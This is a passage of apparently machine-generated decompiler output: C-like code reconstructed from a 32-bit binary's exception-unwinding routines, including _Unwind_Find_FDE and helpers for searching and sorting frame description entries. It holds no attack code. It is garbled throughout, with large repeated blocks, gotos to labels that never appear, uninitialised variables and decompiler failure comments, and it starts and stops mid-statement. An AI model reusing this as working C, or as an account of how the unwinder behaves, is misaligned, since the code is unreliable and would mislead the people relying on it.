= v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v120; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 lab_0x7032100: while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v53 = (int32_t *)0x80a8783; v22 = (int32_t *)(v88 + 8 + 4 * v97); v99 = v97; v110 = v96->e1; // branch -> 0x80a87cf lab_0x7037c30: while (true) { // 0x80a87cf v128 = v99 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = v53; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = (int32_t *)0x80a8783; v119 = (int32_t *)0x80a8875; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v51 = v2; v119 = (int32_t *)0x80a866f; } } // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 >= *(int32_t *)v75) { // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = (int32_t *)v112; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Address range: 0x80a8d68 - 0x80a8d71 void _Unwind_Find_FDE(int32_t a1) { int32_t v1 = 0; // bp-52 int32_t v2; int32_t v3; function_80a8d76((struct struct_45 *)&v3, v2, (struct struct_120 *)&v1); } // Address range: 0x80a8d76 - 0x80a8f4f int32_t function_80a8d76(struct struct_45 * a1, int32_t a2, struct struct_120 * a3) { struct struct_110 * v1 = NULL; // bp-8 int32_t v2 = a2; int32_t * v3; int32_t v4 = (int32_t)v3; // 0x80a8d76 int32_t v5 = v4 + 0x88982; // 0x80a8d77 g98 = v5; g101 = a2; int32_t v6 = *(int32_t *)(v4 + 0x8892e); // 0x80a8d82 int32_t * v7; if (v6 != 0) { // 0x80a8e99 __pthread_mutex_lock_internal((struct struct_3 *)a1, &v2, &a3->e0, NULL); g99 -= 4; v5 = g98; v7 = (int32_t *)0x80a8ea8; // branch -> 0x80a8d97 } int32_t v8 = *(int32_t *)(v5 + 0x7968); // 0x80a8d97 g102 = v8; int32_t * v9 = v3; int32_t v10; // 0x80a8ebf int32_t v11; // 0x80a8f41 int32_t * v12; // 0x80a8e4a_0 int32_t v13; // 0x80a8e04 int32_t v14; int32_t * v15; int32_t * v16; int32_t * v17; int32_t * v18; int32_t v19; // 0x80a8e04 int32_t v20; // 0x80a8e07 int32_t v21; // 0x80a8e32 int32_t * v22; // 0x80a8f3b_05 int32_t v23; // 0x80a8def int32_t v24; // 0x80a8e2f int32_t v25; // 0x80a8ef3 int32_t v26; // 0x80a8def int32_t v27; // 0x80a8e4a int32_t result; // 0x80a8f442 if (v8 != 0) { uint32_t v28 = g101; // 0x80a8da5 if (v28 < *(int32_t *)v8) { int32_t v29 = v8; // 0x80a8dac while (true) { int32_t v30 = *(int32_t *)(v29 + 20); // 0x80a8dac g102 = v30; if (v30 == 0) { // 0x80a8e4a v9 = v3; // branch -> 0x80a8e4a } else { // 0x80a8db7 if (*(int32_t *)v30 <= v28) { // break -> 0x80a8dbb break; } v29 = v30; // continue -> 0x80a8dac continue; } // 0x80a8e4a // branch -> 0x80a8e4a while (true) { // 0x80a8e4a v12 = (int32_t *)(g98 + 0x796c); v27 = *v12; g102 = v27; v22 = v9; v15 = v7; result = 0; if (v27 != 0) { lab_0x7075690: // 0x80a8e58 *v12 = *(int32_t *)(v27 + 20); g97 = g101; g95 = g102; g99 -= 4; search_object(a1, v2, &a3->e0); int32_t v31 = g95; // 0x80a8e6a int32_t v32 = g98 + 0x7968; // 0x80a8e6d int32_t v33 = *(int32_t *)v32; // 0x80a8e6d int32_t v34 = g102; int32_t v35 = 0; // 0x80a8e3e26 int32_t v36; // 0x80a8e3e if (v33 != 0) { uint32_t v37 = *(int32_t *)v34; // 0x80a8e77 if (v37 <= *(int32_t *)v33) { int32_t v38 = v33; // 0x80a8e80 while (true) { int32_t v39 = v38 + 20; // 0x80a8e80 g96 = v39; int32_t v40 = *(int32_t *)v39; // 0x80a8e83 if (v40 != 0) { // 0x80a8e8a if (*(int32_t *)v40 < v37) { // break -> 0x80a8e3e break; } v38 = v40; // continue -> 0x80a8e80 continue; } // 0x80a8e3e v36 = 0; // branch -> 0x80a8e3e lab_0x7079f50: // 0x80a8e3e *(int32_t *)(v34 + 20) = v36; *(int32_t *)g96 = g102; if (v31 != 0) { v22 = v9; v15 = (int32_t *)0x80a8e6a; result = v31; // break (via goto) -> 0x80a8dcb goto lab_0x69efcc0; } v18 = (int32_t *)0x80a8e6a; // continue (via goto) -> 0x80a8e4a goto lab_0x70f6500; } // 0x80a8dcb if (v6 == 0) { // 0x80a8dd6 if (result == 0) { // 0x80a8dd6 v25 = g99; // branch -> 0x80a8ecd // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = v15; } else { // 0x80a8eb0 __pthread_mutex_unlock_internal(a1); v10 = g99 - 4; g99 = v10; if (result == 0) { v25 = v10; // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = (int32_t *)0x80a8ebf; } // 0x80a8de1 a3->e0 = *(int32_t *)(g102 + 4); a3->e1 = *(int32_t *)(g102 + 8); v23 = g102; v26 = v23 + 16; if (*(char *)v26 != 4) { // 0x80a8f3e v11 = result + 4; g95 = v11 - *(int32_t *)v11; g99 -= 4; get_cie_encoding(a1); v20 = g102; v19 = g95; v17 = (int32_t *)0x80a8f4f; // branch -> 0x80a8e04 } else { v20 = v23; v19 = (int32_t)(*(int16_t *)v26 / 8 % 256); v17 = v16; } // 0x80a8e04 v13 = v19 % 256; g97 = v20; g95 = v13; base_from_object(a1); g96 = result + 8; g95 = v13; read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17); // branch -> 0x80a8e2c // 0x80a8e2c v24 = g100; v21 = (int32_t)(int32_t *)0x80a8e10; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return result; } v35 = v33; } // 0x80a8e38 g96 = v32; v36 = v35; // branch -> 0x80a8e3e goto lab_0x7079f50; } // 0x80a8dcb if (v6 == 0) { // 0x80a8dd6 if (result == 0) { // 0x80a8dd6 v25 = g99; // branch -> 0x80a8ecd // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = v15; } else { // 0x80a8eb0 __pthread_mutex_unlock_internal(a1); v10 = g99 - 4; g99 = v10; if (result == 0) { v25 = v10; // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = (int32_t *)0x80a8ebf; } // 0x80a8de1 a3->e0 = *(int32_t *)(g102 + 4); a3->e1 = *(int32_t *)(g102 + 8); v23 = g102; v26 = v23 + 16; if (*(char *)v26 != 4) { // 0x80a8f3e v11 = result + 4; g95 = v11 - *(int32_t *)v11; g99 -= 4; get_cie_encoding(a1); v20 = g102; v19 = g95; v17 = (int32_t *)0x80a8f4f; // branch -> 0x80a8e04 } else { v20 = v23; v19 = (int32_t)(*(int16_t *)v26 / 8 % 256); v17 = v16; } // 0x80a8e04 v13 = v19 % 256; g97 = v20; g95 = v13; base_from_object(a1); g96 = result + 8; g95 = v13; read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17); // branch -> 0x80a8e2c // 0x80a8e2c v24 = g100; v21 = (int32_t)(int32_t *)0x80a8e10; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return result; } } } else { // 0x80a8dbb g97 = v28; g95 = v8; search_object(a1, v2, &a3->e0); int32_t v41 = g95; // 0x80a8dc4 if (v41 != 0) { v22 = (int32_t *)0x80a8dc4; result = v41; // 0x80a8dcb if (v6 == 0) { // 0x80a8dd6 if (result == 0) { // 0x80a8dd6 v25 = g99; // branch -> 0x80a8ecd // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = v7; } else { // 0x80a8eb0 __pthread_mutex_unlock_internal(a1); v10 = g99 - 4; g99 = v10; if (result == 0) { v25 = v10; // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) { // 0x80a8f11 g95 = 0; // branch -> 0x80a8e2c } // 0x80a8e2c v24 = g100; v21 = (int32_t)v22; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return 0; } v16 = (int32_t *)0x80a8ebf; } // 0x80a8de1 a3->e0 = *(int32_t *)(g102 + 4); a3->e1 = *(int32_t *)(g102 + 8); v23 = g102; v26 = v23 + 16; if (*(char *)v26 != 4) { // 0x80a8f3e v11 = result + 4; g95 = v11 - *(int32_t *)v11; g99 -= 4; get_cie_encoding(a1); v20 = g102; v19 = g95; v17 = (int32_t *)0x80a8f4f; // branch -> 0x80a8e04 } else { v20 = v23; v19 = (int32_t)(*(int16_t *)v26 / 8 % 256); v17 = v16; } // 0x80a8e04 v13 = v19 % 256; g97 = v20; g95 = v13; base_from_object(a1); g96 = result + 8; g95 = v13; read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17); // branch -> 0x80a8e2c // 0x80a8e2c v24 = g100; v21 = (int32_t)(int32_t *)0x80a8e10; g98 = v21; g102 = v21; g100 = v14; g99 = v24 + 8; return result; } v9 = (int32_t *)0x80a8dc4; } // 0x80a8e4a // branch -> 0x80a8e4a while (true) { // 0x80a8e4a v12 = (int32_t *)(g98 + 0x796c); v27 = *v12; g102 = v27; if (v27 != 0) { goto lab_0x7075690; } v22 = v9; result = 0; // 0x80a8dcb if (v6 == 0) { // 0x80a8dd6 if (result == 0) { // 0x80a8dd6 v25 = g99; // branch -> 0x80a8ecd // 0x80a8ecd *(int32_t *)(v25 - 12) = g100 - 36; g99 = v25 - 20; if 